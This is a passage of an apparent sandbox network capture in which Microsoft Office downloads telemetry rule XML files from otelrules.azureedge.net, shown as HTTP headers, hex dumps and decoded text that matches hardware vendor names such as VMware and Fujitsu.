2024-11-21 21:34:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:07 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213407Z-178bfbc474bbcwv4hC1NYCypys00000001t0000000011r3d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:07 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:07 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:07 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8189730a-201e-0003-216a-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213407Z-178bfbc474bp8mkvhC1NYCzqnn00000001x000000000czdp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:07 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:07 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:07 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213407Z-174c587ffdf8fcgwhC1TEBnn7000000000ng00000000mng5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:07 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:07 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bb18f6-501e-000a-54a9-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213407Z-174c587ffdfcj798hC1TEB9bq400000000r0000000006tku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:07 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:07 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:07 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:07 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 7fd471a5-f01e-00aa-27bf-3b8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213407Z-15b8b599d88z9sc7hC1TEBkr4w00000000p000000000aus5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:07 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:09 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:09 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4ec414f5-001e-0046-5fa0-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213409Z-1777c6cb754vxwc9hC1TEBykgw0000000br00000000066p2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:09 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:09 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 7a05741d-701e-0021-0754-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213409Z-15b8b599d88phfhnhC1TEBr51n00000000gg00000000mncz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:09 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: feb62e3a-f01e-0085-1d2f-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213409Z-178bfbc474b9fdhphC1NYCac0n00000001v0000000010rt6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:09 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:09 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213409Z-174c587ffdf59vqchC1TEByk6800000000mg00000000q7gk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:09 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:09 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:09 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: a72cf994-301e-0099-6e45-3c6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213409Z-178bfbc474b9xljthC1NYCtw9400000001zg00000000b9s9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:09 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:11 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:11 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: ed298b8a-a01e-0002-322d-3c5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213411Z-178bfbc474b9xljthC1NYCtw9400000001zg00000000b9zn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:11 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:11 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:11 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213411Z-178bfbc474bh5zbqhC1NYCkdug00000001vg000000010ska x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:11 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
